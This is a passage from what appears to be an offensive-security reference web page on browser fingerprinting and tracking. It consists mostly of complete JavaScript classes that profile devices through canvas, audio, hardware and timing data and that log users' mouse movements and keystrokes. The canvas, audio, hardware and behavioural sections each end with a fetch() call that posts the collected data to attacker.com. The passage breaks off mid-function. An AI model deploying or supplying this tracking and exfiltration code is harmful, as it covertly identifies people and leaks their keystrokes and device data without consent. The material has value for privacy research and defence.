Skip to content

The Hostile DOM: Deep Dive Technical Reference

Offensive Security Research

This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.

Part 7: Fingerprinting & Tracking

7.1 Canvas Fingerprinting

Canvas fingerprinting exploits the HTML5 Canvas API to create unique device signatures.

Canvas Rendering Fingerprinting

Click to expand code
javascript
class CanvasFingerprinter {
  constructor() {
    this.fingerprint = {};
    this.canvas = document.createElement('canvas');
    this.ctx = this.canvas.getContext('2d');
  }
  
  // Generate comprehensive canvas fingerprint
  async generateFingerprint() {
    console.log('[+] Generating canvas fingerprint');
    
    // Basic canvas properties
    this.fingerprint.canvas = {
      width: this.canvas.width,
      height: this.canvas.height,
      toDataURL: this.testToDataURL(),
      toBlob: await this.testToBlob(),
      getImageData: this.testGetImageData(),
      webkitBackingStorePixelRatio: this.ctx.webkitBackingStorePixelRatio || 0,
      backingStorePixelRatio: this.ctx.backingStorePixelRatio || 0
    };
    
    // Text rendering tests
    this.fingerprint.textRendering = this.testTextRendering();
    
    // Shape rendering tests
    this.fingerprint.shapeRendering = this.testShapeRendering();
    
    // Image rendering tests
    this.fingerprint.imageRendering = await this.testImageRendering();
    
    // WebGL fingerprinting
    this.fingerprint.webgl = this.testWebGL();
    
    // Font enumeration
    this.fingerprint.fonts = this.enumerateFonts();
    
    // Generate unique hash
    this.fingerprint.hash = this.generateHash();
    
    console.log('[+] Canvas fingerprint generated:', this.fingerprint.hash);
    return this.fingerprint;
  }
  
  testToDataURL() {
    // Clear canvas
    this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
    
    // Draw test pattern
    this.ctx.fillStyle = 'rgba(255, 0, 0, 0.5)';
    this.ctx.fillRect(0, 0, 10, 10);
    
    try {
      const dataURL = this.canvas.toDataURL();
      return {
        length: dataURL.length,
        prefix: dataURL.substring(0, 50),
        format: dataURL.split(',')[0]
      };
    } catch (error) {
      return { error: error.message };
    }
  }
  
  async testToBlob() {
    return new Promise((resolve) => {
      this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
      this.ctx.fillStyle = 'blue';
      this.ctx.fillRect(0, 0, 20, 20);
      
      this.canvas.toBlob((blob) => {
        resolve({
          size: blob ? blob.size : 0,
          type: blob ? blob.type : 'none'
        });
      });
    });
  }
  
  testGetImageData() {
    this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
    this.ctx.fillStyle = 'green';
    this.ctx.fillRect(0, 0, 5, 5);
    
    try {
      const imageData = this.ctx.getImageData(0, 0, 5, 5);
      return {
        width: imageData.width,
        height: imageData.height,
        dataLength: imageData.data.length,
        sample: Array.from(imageData.data.slice(0, 20))
      };
    } catch (error) {
      return { error: error.message };
    }
  }
  
  testTextRendering() {
    const tests = {};
    const fonts = ['Arial', 'Helvetica', 'Times New Roman', 'Courier New'];
    const text = 'Hello World 123!';
    
    fonts.forEach(font => {
      this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
      this.ctx.font = `12px ${font}`;
      this.ctx.fillText(text, 0, 12);
      
      const imageData = this.ctx.getImageData(0, 0, 100, 20);
      tests[font] = {
        dataHash: this.simpleHash(imageData.data),
        width: this.ctx.measureText(text).width
      };
    });
    
    return tests;
  }
  
  testShapeRendering() {
    const tests = {};
    const shapes = ['rect', 'circle', 'triangle', 'bezier'];
    
    shapes.forEach(shape => {
      this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
      
      switch (shape) {
        case 'rect':
          this.ctx.fillRect(0, 0, 10, 10);
          break;
        case 'circle':
          this.ctx.beginPath();
          this.ctx.arc(5, 5, 5, 0, 2 * Math.PI);
          this.ctx.fill();
          break;
        case 'triangle':
          this.ctx.beginPath();
          this.ctx.moveTo(0, 0);
          this.ctx.lineTo(10, 0);
          this.ctx.lineTo(5, 10);
          this.ctx.closePath();
          this.ctx.fill();
          break;
        case 'bezier':
          this.ctx.beginPath();
          this.ctx.moveTo(0, 0);
          this.ctx.bezierCurveTo(5, 0, 5, 10, 10, 10);
          this.ctx.stroke();
          break;
      }
      
      const imageData = this.ctx.getImageData(0, 0, 15, 15);
      tests[shape] = this.simpleHash(imageData.data);
    });
    
    return tests;
  }
  
  async testImageRendering() {
    return new Promise((resolve) => {
      const img = new Image();
      img.onload = () => {
        this.ctx.clearRect(0, 0, this.canvas.width, this.canvas.height);
        this.ctx.drawImage(img, 0, 0, 10, 10);
        
        const imageData = this.ctx.getImageData(0, 0, 10, 10);
        resolve({
          dataHash: this.simpleHash(imageData.data),
          naturalWidth: img.naturalWidth,
          naturalHeight: img.naturalHeight
        });
      };
      
      img.onerror = () => resolve({ error: 'Image load failed' });
      
      // Use a small test image
      img.src = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==';
    });
  }
  
  testWebGL() {
    try {
      const gl = this.canvas.getContext('webgl') || this.canvas.getContext('experimental-webgl');
      
      if (!gl) return { available: false };
      
      const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
      const renderer = debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'unknown';
      const vendor = debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : 'unknown';
      
      return {
        available: true,
        renderer: renderer,
        vendor: vendor,
        version: gl.getParameter(gl.VERSION),
        shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
        maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
        extensions: gl.getSupportedExtensions()
      };
    } catch (error) {
      return { error: error.message };
    }
  }
  
  enumerateFonts() {
    const fonts = [];
    const testString = 'mmmmmmmmmmlli';
    const testSize = '72px';
    const baselineSize = this.getTextWidth(testString, testSize, 'monospace');
    
    // Common font list
    const fontList = [
      'Arial', 'Arial Black', 'Arial Narrow', 'Arial Rounded MT Bold',
      'Bookman Old Style', 'Bradley Hand', 'Calibri', 'Cambria', 'Cambria Math',
      'Candara', 'Century', 'Century Gothic', 'Century Schoolbook', 'Comic Sans MS',
      'Consolas', 'Courier', 'Courier New', 'Garamond', 'Georgia', 'Helvetica',
      'Impact', 'Lucida Bright', 'Lucida Calligraphy', 'Lucida Console', 'Lucida Fax',
      'Lucida Handwriting', 'Lucida Sans', 'Lucida Sans Typewriter', 'Lucida Sans Unicode',
      'Microsoft Sans Serif', 'Monaco', 'Monotype Corsiva', 'MS Gothic', 'MS Outlook',
      'MS PGothic', 'MS Reference Sans Serif', 'MS Sans Serif', 'MS Serif', 'Palatino Linotype',
      'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Light', 'Segoe UI Semibold',
      'Segoe UI Symbol', 'Tahoma', 'Times', 'Times New Roman', 'Trebuchet MS',
      'Verdana', 'Wingdings', 'Wingdings 2', 'Wingdings 3'
    ];
    
    fontList.forEach(font => {
      const width = this.getTextWidth(testString, testSize, font);
      if (width !== baselineSize) {
        fonts.push({ name: font, width: width });
      }
    });
    
    return fonts;
  }
  
  getTextWidth(text, size, font) {
    this.ctx.font = `${size} ${font}`;
    return this.ctx.measureText(text).width;
  }
  
  simpleHash(data) {
    let hash = 0;
    for (let i = 0; i < data.length; i++) {
      const char = data[i];
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash; // Convert to 32-bit integer
    }
    return hash.toString(36);
  }
  
  generateHash() {
    const data = JSON.stringify(this.fingerprint);
    let hash = 0;
    
    for (let i = 0; i < data.length; i++) {
      const char = data.charCodeAt(i);
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash;
    }
    
    return Math.abs(hash).toString(36);
  }
}

// Initialize and generate fingerprint
const fingerprinter = new CanvasFingerprinter();
fingerprinter.generateFingerprint().then(fp => {
  console.log('[+] Complete fingerprint:', fp);
  
  // Exfiltrate fingerprint
  fetch('https://attacker.com/fingerprint', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(fp)
  });
});

7.2 AudioContext Fingerprinting

Audio fingerprinting exploits Web Audio API differences for device identification.

Audio Processing Fingerprinting

Click to expand code
javascript
class AudioFingerprinter {
  constructor() {
    this.audioContext = null;
    this.fingerprint = {};
  }
  
  async generateFingerprint() {
    console.log('[+] Generating audio fingerprint');
    
    try {
      this.audioContext = new (window.AudioContext || window.webkitAudioContext)();
      
      // Basic AudioContext properties
      this.fingerprint.context = {
        sampleRate: this.audioContext.sampleRate,
        baseLatency: this.audioContext.baseLatency,
        outputLatency: this.audioContext.outputLatency,
        state: this.audioContext.state,
        numberOfInputs: this.audioContext.destination.numberOfInputs,
        numberOfOutputs: this.audioContext.destination.numberOfOutputs,
        channelCount: this.audioContext.destination.channelCount,
        channelCountMode: this.audioContext.destination.channelCountMode,
        channelInterpretation: this.audioContext.destination.channelInterpretation
      };
      
      // Oscillator fingerprinting
      this.fingerprint.oscillator = await this.testOscillator();
      
      // Analyser node fingerprinting
      this.fingerprint.analyser = this.testAnalyser();
      
      // Biquad filter fingerprinting
      this.fingerprint.biquadFilter = this.testBiquadFilter();
      
      // Convolution reverb fingerprinting
      this.fingerprint.convolution = await this.testConvolution();
      
      // Dynamics compressor fingerprinting
      this.fingerprint.dynamicsCompressor = this.testDynamicsCompressor();
      
      // Generate hash
      this.fingerprint.hash = this.generateHash();
      
      console.log('[+] Audio fingerprint generated:', this.fingerprint.hash);
      return this.fingerprint;
      
    } catch (error) {
      console.log('[-] Audio fingerprinting failed:', error);
      return { error: error.message };
    }
  }
  
  async testOscillator() {
    const oscillator = this.audioContext.createOscillator();
    const analyser = this.audioContext.createAnalyser();
    
    oscillator.connect(analyser);
    oscillator.frequency.setValueAtTime(1000, this.audioContext.currentTime);
    oscillator.start();
    
    // Let it run for a bit
    await this.delay(100);
    
    const bufferLength = analyser.frequencyBinCount;
    const dataArray = new Uint8Array(bufferLength);
    analyser.getByteFrequencyData(dataArray);
    
    oscillator.stop();
    
    return {
      frequencyData: Array.from(dataArray.slice(0, 10)),
      sampleRate: this.audioContext.sampleRate
    };
  }
  
  testAnalyser() {
    const analyser = this.audioContext.createAnalyser();
    
    return {
      fftSize: analyser.fftSize,
      frequencyBinCount: analyser.frequencyBinCount,
      minDecibels: analyser.minDecibels,
      maxDecibels: analyser.maxDecibels,
      smoothingTimeConstant: analyser.smoothingTimeConstant
    };
  }
  
  testBiquadFilter() {
    const filter = this.audioContext.createBiquadFilter();
    
    return {
      type: filter.type,
      frequency: filter.frequency.value,
      detune: filter.detune.value,
      Q: filter.Q.value,
      gain: filter.gain.value
    };
  }
  
  async testConvolution() {
    try {
      // Create a simple impulse response
      const impulseLength = this.audioContext.sampleRate * 0.1; // 100ms
      const impulseBuffer = this.audioContext.createBuffer(2, impulseLength, this.audioContext.sampleRate);
      
      for (let channel = 0; channel < 2; channel++) {
        const channelData = impulseBuffer.getChannelData(channel);
        channelData[0] = 1; // Impulse at the beginning
      }
      
      const convolver = this.audioContext.createConvolver();
      convolver.buffer = impulseBuffer;
      
      return {
        available: true,
        bufferLength: impulseBuffer.length,
        numberOfChannels: impulseBuffer.numberOfChannels,
        sampleRate: impulseBuffer.sampleRate
      };
    } catch (error) {
      return { available: false, error: error.message };
    }
  }
  
  testDynamicsCompressor() {
    const compressor = this.audioContext.createDynamicsCompressor();
    
    return {
      threshold: compressor.threshold.value,
      knee: compressor.knee.value,
      ratio: compressor.ratio.value,
      attack: compressor.attack.value,
      release: compressor.release.value
    };
  }
  
  generateHash() {
    const data = JSON.stringify(this.fingerprint);
    let hash = 0;
    
    for (let i = 0; i < data.length; i++) {
      const char = data.charCodeAt(i);
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash;
    }
    
    return Math.abs(hash).toString(36);
  }
  
  delay(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }
}

// Initialize and generate fingerprint
const audioFingerprinter = new AudioFingerprinter();
audioFingerprinter.generateFingerprint().then(fp => {
  console.log('[+] Complete audio fingerprint:', fp);
  
  // Exfiltrate fingerprint
  fetch('https://attacker.com/audio-fingerprint', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(fp)
  });
});

7.3 Device and Hardware Fingerprinting

Hardware Enumeration

Click to expand code
javascript
class HardwareFingerprinter {
  constructor() {
    this.fingerprint = {};
  }
  
  async generateFingerprint() {
    console.log('[+] Generating hardware fingerprint');
    
    // Screen properties
    this.fingerprint.screen = this.getScreenFingerprint();
    
    // Navigator properties
    this.fingerprint.navigator = this.getNavigatorFingerprint();
    
    // Hardware concurrency
    this.fingerprint.hardware = this.getHardwareFingerprint();
    
    // Battery API
    this.fingerprint.battery = await this.getBatteryFingerprint();
    
    // Device memory
    this.fingerprint.memory = this.getMemoryFingerprint();
    
    // Connection information
    this.fingerprint.connection = this.getConnectionFingerprint();
    
    // WebGL extensions and capabilities
    this.fingerprint.webgl = this.getWebGLFingerprint();
    
    // Touch capabilities
    this.fingerprint.touch = this.getTouchFingerprint();
    
    // Vibration API
    this.fingerprint.vibration = this.getVibrationFingerprint();
    
    // Ambient light sensor
    this.fingerprint.ambientLight = await this.getAmbientLightFingerprint();
    
    // Device orientation
    this.fingerprint.orientation = this.getOrientationFingerprint();
    
    // Generate unique hash
    this.fingerprint.hash = this.generateHash();
    
    console.log('[+] Hardware fingerprint generated:', this.fingerprint.hash);
    return this.fingerprint;
  }
  
  getScreenFingerprint() {
    return {
      width: screen.width,
      height: screen.height,
      availWidth: screen.availWidth,
      availHeight: screen.availHeight,
      colorDepth: screen.colorDepth,
      pixelDepth: screen.pixelDepth,
      devicePixelRatio: window.devicePixelRatio,
      orientation: screen.orientation ? screen.orientation.type : 'unknown'
    };
  }
  
  getNavigatorFingerprint() {
    return {
      userAgent: navigator.userAgent,
      language: navigator.language,
      languages: navigator.languages,
      platform: navigator.platform,
      cookieEnabled: navigator.cookieEnabled,
      doNotTrack: navigator.doNotTrack,
      maxTouchPoints: navigator.maxTouchPoints,
      hardwareConcurrency: navigator.hardwareConcurrency,
      deviceMemory: navigator.deviceMemory,
      webdriver: navigator.webdriver
    };
  }
  
  getHardwareFingerprint() {
    return {
      hardwareConcurrency: navigator.hardwareConcurrency,
      deviceMemory: navigator.deviceMemory,
      platform: navigator.platform,
      userAgent: navigator.userAgent
    };
  }
  
  async getBatteryFingerprint() {
    if ('getBattery' in navigator) {
      try {
        const battery = await navigator.getBattery();
        return {
          charging: battery.charging,
          chargingTime: battery.chargingTime,
          dischargingTime: battery.dischargingTime,
          level: battery.level
        };
      } catch (error) {
        return { error: error.message };
      }
    }
    
    return { available: false };
  }
  
  getMemoryFingerprint() {
    return {
      deviceMemory: navigator.deviceMemory,
      jsHeapSizeLimit: performance.memory ? performance.memory.jsHeapSizeLimit : 'unknown',
      totalJSHeapSize: performance.memory ? performance.memory.totalJSHeapSize : 'unknown',
      usedJSHeapSize: performance.memory ? performance.memory.usedJSHeapSize : 'unknown'
    };
  }
  
  getConnectionFingerprint() {
    const connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
    
    if (connection) {
      return {
        effectiveType: connection.effectiveType,
        downlink: connection.downlink,
        rtt: connection.rtt,
        type: connection.type,
        saveData: connection.saveData
      };
    }
    
    return { available: false };
  }
  
  getWebGLFingerprint() {
    try {
      const canvas = document.createElement('canvas');
      const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
      
      if (!gl) return { available: false };
      
      const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
      
      return {
        available: true,
        vendor: debugInfo ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL) : gl.getParameter(gl.VENDOR),
        renderer: debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : gl.getParameter(gl.RENDERER),
        version: gl.getParameter(gl.VERSION),
        shadingLanguageVersion: gl.getParameter(gl.SHADING_LANGUAGE_VERSION),
        maxVertexAttribs: gl.getParameter(gl.MAX_VERTEX_ATTRIBS),
        maxVertexUniformVectors: gl.getParameter(gl.MAX_VERTEX_UNIFORM_VECTORS),
        maxFragmentUniformVectors: gl.getParameter(gl.MAX_FRAGMENT_UNIFORM_VECTORS),
        maxTextureSize: gl.getParameter(gl.MAX_TEXTURE_SIZE),
        extensions: gl.getSupportedExtensions().sort()
      };
    } catch (error) {
      return { error: error.message };
    }
  }
  
  getTouchFingerprint() {
    return {
      maxTouchPoints: navigator.maxTouchPoints,
      ontouchstart: 'ontouchstart' in window,
      ontouchend: 'ontouchend' in window,
      ontouchmove: 'ontouchmove' in window,
      ontouchcancel: 'ontouchcancel' in window
    };
  }
  
  getVibrationFingerprint() {
    return {
      vibrate: 'vibrate' in navigator
    };
  }
  
  async getAmbientLightFingerprint() {
    if ('AmbientLightSensor' in window) {
      try {
        const sensor = new AmbientLightSensor();
        return {
          available: true,
          illuminance: sensor.illuminance ? sensor.illuminance.value : 'unknown'
        };
      } catch (error) {
        return { available: false, error: error.message };
      }
    }
    
    return { available: false };
  }
  
  getOrientationFingerprint() {
    return {
      deviceorientation: 'ondeviceorientation' in window,
      devicemotion: 'ondevicemotion' in window,
      compassneedscalibration: 'oncompassneedscalibration' in window
    };
  }
  
  generateHash() {
    const data = JSON.stringify(this.fingerprint);
    let hash = 0;
    
    for (let i = 0; i < data.length; i++) {
      const char = data.charCodeAt(i);
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash;
    }
    
    return Math.abs(hash).toString(36);
  }
}

// Initialize and generate fingerprint
const hardwareFingerprinter = new HardwareFingerprinter();
hardwareFingerprinter.generateFingerprint().then(fp => {
  console.log('[+] Complete hardware fingerprint:', fp);
  
  // Exfiltrate fingerprint
  fetch('https://attacker.com/hardware-fingerprint', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(fp)
  });
});

7.4 Behavioral Fingerprinting

Mouse and Keyboard Dynamics

Click to expand code
javascript
class BehavioralFingerprinter {
  constructor() {
    this.mouseData = [];
    this.keyboardData = [];
    this.scrollData = [];
    this.fingerprint = {};
  }
  
  startTracking() {
    console.log('[+] Starting behavioral tracking');
    
    // Mouse tracking
    document.addEventListener('mousemove', this.trackMouse.bind(this));
    document.addEventListener('mousedown', this.trackMouseClick.bind(this));
    document.addEventListener('mouseup', this.trackMouseClick.bind(this));
    
    // Keyboard tracking
    document.addEventListener('keydown', this.trackKeyboard.bind(this));
    document.addEventListener('keyup', this.trackKeyboard.bind(this));
    
    // Scroll tracking
    document.addEventListener('scroll', this.trackScroll.bind(this));
    
    // Touch tracking (for mobile)
    document.addEventListener('touchstart', this.trackTouch.bind(this));
    document.addEventListener('touchmove', this.trackTouch.bind(this));
    document.addEventListener('touchend', this.trackTouch.bind(this));
    
    // Stop tracking after 30 seconds and generate fingerprint
    setTimeout(() => {
      this.stopTracking();
      this.generateFingerprint();
    }, 30000);
  }
  
  stopTracking() {
    console.log('[+] Stopping behavioral tracking');
    
    // Remove all event listeners
    document.removeEventListener('mousemove', this.trackMouse.bind(this));
    document.removeEventListener('mousedown', this.trackMouseClick.bind(this));
    document.removeEventListener('mouseup', this.trackMouseClick.bind(this));
    document.removeEventListener('keydown', this.trackKeyboard.bind(this));
    document.removeEventListener('keyup', this.trackKeyboard.bind(this));
    document.removeEventListener('scroll', this.trackScroll.bind(this));
    document.removeEventListener('touchstart', this.trackTouch.bind(this));
    document.removeEventListener('touchmove', this.trackTouch.bind(this));
    document.removeEventListener('touchend', this.trackTouch.bind(this));
  }
  
  trackMouse(event) {
    this.mouseData.push({
      x: event.clientX,
      y: event.clientY,
      timestamp: Date.now(),
      type: 'move'
    });
    
    // Keep only last 1000 mouse movements
    if (this.mouseData.length > 1000) {
      this.mouseData.shift();
    }
  }
  
  trackMouseClick(event) {
    this.mouseData.push({
      x: event.clientX,
      y: event.clientY,
      button: event.button,
      timestamp: Date.now(),
      type: event.type
    });
  }
  
  trackKeyboard(event) {
    this.keyboardData.push({
      key: event.key,
      code: event.code,
      timestamp: Date.now(),
      type: event.type,
      shiftKey: event.shiftKey,
      ctrlKey: event.ctrlKey,
      altKey: event.altKey,
      metaKey: event.metaKey
    });
    
    // Keep only last 500 keystrokes
    if (this.keyboardData.length > 500) {
      this.keyboardData.shift();
    }
  }
  
  trackScroll(event) {
    this.scrollData.push({
      scrollX: window.scrollX,
      scrollY: window.scrollY,
      timestamp: Date.now()
    });
    
    // Keep only last 100 scroll events
    if (this.scrollData.length > 100) {
      this.scrollData.shift();
    }
  }
  
  trackTouch(event) {
    const touches = Array.from(event.touches).map(touch => ({
      identifier: touch.identifier,
      clientX: touch.clientX,
      clientY: touch.clientY,
      radiusX: touch.radiusX,
      radiusY: touch.radiusY,
      rotationAngle: touch.rotationAngle,
      force: touch.force
    }));
    
    this.mouseData.push({
      touches: touches,
      timestamp: Date.now(),
      type: event.type
    });
  }
  
  generateFingerprint() {
    console.log('[+] Generating behavioral fingerprint');
    
    // Analyze mouse patterns
    this.fingerprint.mouse = this.analyzeMousePatterns();
    
    // Analyze keyboard patterns
    this.fingerprint.keyboard = this.analyzeKeyboardPatterns();
    
    // Analyze scroll patterns
    this.fingerprint.scroll = this.analyzeScrollPatterns();
    
    // Generate overall behavioral hash
    this.fingerprint.hash = this.generateHash();
    
    console.log('[+] Behavioral fingerprint generated:', this.fingerprint.hash);
    
    // Exfiltrate fingerprint
    this.exfiltrateFingerprint();
  }
  
  analyzeMousePatterns() {
    if (this.mouseData.length < 10) return { insufficient: true };
    
    const moves = this.mouseData.filter(d => d.type === 'move');
    const clicks = this.mouseData.filter(d => d.type === 'mousedown' || d.type === 'mouseup');
    
    // Calculate mouse movement statistics
    const velocities = [];
    for (let i = 1; i < moves.length; i++) {
      const dx = moves[i].x - moves[i-1].x;
      const dy = moves[i].y - moves[i-1].y;
      const dt = moves[i].timestamp - moves[i-1].timestamp;
      const velocity = Math.sqrt(dx*dx + dy*dy) / dt;
      velocities.push(velocity);
    }
    
    return {
      totalMoves: moves.length,
      totalClicks: clicks.length,
      averageVelocity: velocities.reduce((a, b) => a + b, 0) / velocities.length,
      velocityStdDev: this.calculateStdDev(velocities),
      clickPattern: clicks.map(c => ({ x: c.x, y: c.y, button: c.button }))
    };
  }
  
  analyzeKeyboardPatterns() {
    if (this.keyboardData.length < 10) return { insufficient: true };
    
    const keydowns = this.keyboardData.filter(d => d.type === 'keydown');
    const keyups = this.keyboardData.filter(d => d.type === 'keyup');
    
    // Calculate typing speed and patterns
    const intervals = [];
    for (let i = 1; i < keydowns.length; i++) {
      intervals.push(keydowns[i].timestamp - keydowns[i-1].timestamp);
    }
    
    // Key hold times
    const holdTimes = [];
    for (let i = 0; i < Math.min(keydowns.length, keyups.length); i++) {
      if (keydowns[i].key === keyups[i].key) {
        holdTimes.push(keyups[i].timestamp - keydowns[i].timestamp);
      }
    }
    
    return {
      totalKeystrokes: this.keyboardData.length,
      averageInterval: intervals.reduce((a, b) => a + b, 0) / intervals.length,
      intervalStdDev: this.calculateStdDev(intervals),
      averageHoldTime: holdTimes.reduce((a, b) => a + b, 0) / holdTimes.length,
      holdTimeStdDev: this.calculateStdDev(holdTimes),
      commonKeys: this.getMostCommonKeys()
    };
  }
  
  analyzeScrollPatterns() {
    if (this.scrollData.length < 5) return { insufficient: true };
    
    const scrollSpeeds = [];
    for (let i = 1; i < this.scrollData.length; i++) {
      const dy = Math.abs(this.scrollData[i].scrollY - this.scrollData[i-1].scrollY);
      const dt = this.scrollData[i].timestamp - this.scrollData[i-1].timestamp;
      const speed = dy / dt;
      scrollSpeeds.push(speed);
    }
    
    return {
      totalScrolls: this.scrollData.length,
      averageSpeed: scrollSpeeds.reduce((a, b) => a + b, 0) / scrollSpeeds.length,
      speedStdDev: this.calculateStdDev(scrollSpeeds),
      maxScrollY: Math.max(...this.scrollData.map(d => d.scrollY))
    };
  }
  
  calculateStdDev(values) {
    const mean = values.reduce((a, b) => a + b, 0) / values.length;
    const squareDiffs = values.map(value => Math.pow(value - mean, 2));
    const avgSquareDiff = squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
    return Math.sqrt(avgSquareDiff);
  }
  
  getMostCommonKeys() {
    const keyCounts = {};
    this.keyboardData.forEach(d => {
      if (d.type === 'keydown') {
        keyCounts[d.key] = (keyCounts[d.key] || 0) + 1;
      }
    });
    
    return Object.entries(keyCounts)
      .sort(([,a], [,b]) => b - a)
      .slice(0, 10)
      .map(([key, count]) => ({ key, count }));
  }
  
  generateHash() {
    const data = JSON.stringify(this.fingerprint);
    let hash = 0;
    
    for (let i = 0; i < data.length; i++) {
      const char = data.charCodeAt(i);
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash;
    }
    
    return Math.abs(hash).toString(36);
  }
  
  exfiltrateFingerprint() {
    fetch('https://attacker.com/behavioral-fingerprint', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        fingerprint: this.fingerprint,
        timestamp: new Date().toISOString(),
        url: location.href
      })
    });
  }
}

// Initialize and start tracking
const behavioralFingerprinter = new BehavioralFingerprinter();
behavioralFingerprinter.startTracking();

7.5 Timing Attacks and Clock Skew

High-Resolution Timing Fingerprinting

Click to expand code
javascript
class TimingFingerprinter {
  constructor() {
    this.measurements = [];
    this.fingerprint = {};
  }
  
  async generateFingerprint() {
    console.log('[+] Generating timing fingerprint');
    
    // Performance.now() precision
    this.fingerprint.performanceNow = this.measurePerformancePrecision();
    
    // Date.now() precision
    this.fingerprint.dateNow = this.measureDatePrecision();
    
    // requestAnimationFrame timing
    this.fingerprint.raf = await this.measureRAFTiming();
    
    // setTimeout/setInterval precision
    this.fingerprint.timers = this.measureTimerPrecision();
    
    // CPU timing variations
    this.fingerprint.cpuTiming = await this.measureCPUTiming();
    
    // Memory access timing
    this.fingerprint.memoryTiming = this.measureMemoryTiming();
    
    // Network timing
    this.fingerprint.networkTiming = await this.measureNetworkTiming();
    
    // Generate hash
    this.fingerprint.hash = this.generateHash();
    
    console.log('[+] Timing fingerprint generated:', this.fingerprint.hash);
    return this.fingerprint;
  }
  
  measurePerformancePrecision() {
    const measurements = [];
    
    for (let i = 0; i < 1000; i++) {
      const start = performance.now();
      const end = performance.now();
      measurements.push(end - start);
    }
    
    return {
      min: Math.min(...measurements),
      max: Math.max(...measurements),
      average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
      precision: this.calculatePrecision(measurements)
    };
  }
  
  measureDatePrecision() {
    const measurements = [];
    
    for (let i = 0; i < 1000; i++) {
      const start = Date.now();
      const end = Date.now();
      measurements.push(end - start);
    }
    
    return {
      min: Math.min(...measurements),
      max: Math.max(...measurements),
      average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
      precision: this.calculatePrecision(measurements)
    };
  }
  
  async measureRAFTiming() {
    return new Promise((resolve) => {
      const frameTimes = [];
      let lastTime = performance.now();
      let frameCount = 0;
      
      const measureFrame = (currentTime) => {
        frameTimes.push(currentTime - lastTime);
        lastTime = currentTime;
        frameCount++;
        
        if (frameCount < 60) { // Measure 60 frames
          requestAnimationFrame(measureFrame);
        } else {
          resolve({
            averageFrameTime: frameTimes.reduce((a, b) => a + b, 0) / frameTimes.length,
            frameTimeVariance: this.calculateVariance(frameTimes),
            minFrameTime: Math.min(...frameTimes),
            maxFrameTime: Math.max(...frameTimes)
          });
        }
      };
      
      requestAnimationFrame(measureFrame);
    });
  }
  
  measureTimerPrecision() {
    const setTimeoutMeasurements = [];
    const setIntervalMeasurements = [];
    
    // Measure setTimeout precision
    for (let i = 0; i < 100; i++) {
      const start = performance.now();
      setTimeout(() => {
        const end = performance.now();
        setTimeoutMeasurements.push(end - start - 1); // Subtract expected 1ms
      }, 1);
    }
    
    // Measure setInterval precision
    let intervalCount = 0;
    let lastIntervalTime = performance.now();
    
    const intervalId = setInterval(() => {
      const currentTime = performance.now();
      setIntervalMeasurements.push(currentTime - lastIntervalTime - 10); // Subtract expected 10ms
      lastIntervalTime = currentTime;
      intervalCount++;
      
      if (intervalCount >= 100) {
        clearInterval(intervalId);
      }
    }, 10);
    
    // Wait for measurements to complete
    return new Promise((resolve) => {
      setTimeout(() => {
        resolve({
          setTimeout: {
            average: setTimeoutMeasurements.reduce((a, b) => a + b, 0) / setTimeoutMeasurements.length,
            precision: this.calculatePrecision(setTimeoutMeasurements)
          },
          setInterval: {
            average: setIntervalMeasurements.reduce((a, b) => a + b, 0) / setIntervalMeasurements.length,
            precision: this.calculatePrecision(setIntervalMeasurements)
          }
        });
      }, 2000);
    });
  }
  
  async measureCPUTiming() {
    const operations = [
      () => Math.sqrt(Math.random()), // Simple math
      () => Array(1000).fill(0).map(x => x + 1), // Array operations
      () => JSON.stringify({ data: 'x'.repeat(1000) }), // String operations
      () => new Uint8Array(1000000).fill(255) // Memory operations
    ];
    
    const timingResults = {};
    
    for (let i = 0; i < operations.length; i++) {
      const op = operations[i];
      const measurements = [];
      
      for (let j = 0; j < 100; j++) {
        const start = performance.now();
        op();
        const end = performance.now();
        measurements.push(end - start);
      }
      
      timingResults[`operation_${i}`] = {
        average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
        variance: this.calculateVariance(measurements),
        min: Math.min(...measurements),
        max: Math.max(...measurements)
      };
    }
    
    return timingResults;
  }
  
  measureMemoryTiming() {
    const arraySizes = [1000, 10000, 100000, 1000000];
    const timingResults = {};
    
    arraySizes.forEach(size => {
      const measurements = [];
      
      for (let i = 0; i < 50; i++) {
        const start = performance.now();
        const array = new Array(size);
        for (let j = 0; j < size; j++) {
          array[j] = j;
        }
        const end = performance.now();
        measurements.push(end - start);
      }
      
      timingResults[`size_${size}`] = {
        average: measurements.reduce((a, b) => a + b, 0) / measurements.length,
        variance: this.calculateVariance(measurements)
      };
    });
    
    return timingResults;
  }
  
  async measureNetworkTiming() {
